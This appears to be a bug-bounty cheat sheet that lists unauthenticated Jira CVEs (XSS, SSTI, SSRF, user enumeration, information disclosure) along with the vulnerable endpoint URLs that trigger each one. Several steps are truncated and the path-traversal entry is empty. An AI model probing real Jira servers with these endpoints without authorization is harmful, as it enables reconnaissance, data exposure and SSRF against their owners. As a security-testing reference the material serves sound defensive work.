Unauthenticated & Exploitable JIRA Vulnerabilities

Mindmap

Index	Technique
1	CVE-2020-14179 (Information Disclosure)
2	CVE-2020-14181 (User Enumeration)
3	CVE-2020-14178 (Project Key Enumeration)
4	CVE-2019-3402 (XSS)
5	CVE-2019-11581 (SSTI)
6	CVE-2019-3396 (Path Traversal)
7	CVE-2019-8451 (SSRF)
8	CVE-2019-8449 (User Information Disclosure)
9	CVE-2019-3403 (User Enumeration)
10	CVE-2019-8442 (Sensitive Information Disclosure)
11	Tools
12	Reports

CVE-2020-14179 (Sensitive Information Disclosure)

```
a. Navigate to <JIRA_URL>/secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.
```

CVE-2020-14181 (User Enumeration)

```
a. Navigate to <JIRA_URL>/secure/ViewUserHover.jspa?username=<uname>
```

CVE-2020-14178 (Project Key Enumeration)

```
a. Navigate to <JIRA_URL>/browse.<project_key>
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you
```

CVE-2019-3402 (XSS)

```
a. Navigate to <JIRA_URL>/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUser
```

CVE-2019-11581 (SSTI)

```
a. Navigate to <JIRA_URL>/secure/ContactAdministrators!default.jspa
```

CVE-2019-3396 (Path Traversal)

CVE-2019-8451 (SSRF)

```
a.  Navigate to <JIRA_URL>/plugins/servlet/gadgets/makeRequest?url=https://<host_name>:1337@ex
```

CVE-2019-8449 (User Information Disclosure)

```
a. Navigate to <JIRA_URL>/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=
b. Observe that the user related information will be available.
```

CVE-2019-3403 (User Enumeration)

```
a.  Navigate to <Jira_URL>/rest/api/2/user/picker?query=<user_name_here>
b.  Observe the difference in response when valid vs. invalid user is queried.
```

CVE-2019-8442 (Sensitive Information Disclosure)

```
a.  Navigate to <JIRA_URL>/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atla
b. Observe that the pom.xml file is accessible.
```

Tools

Nuclei Template can be used to automate most of these CVEs Detection.

Reports

- https://hackerone.com/reports/632808
- https://hackerone.com/reports/1003980

Blog

How i converted SSRF TO XSS in jira.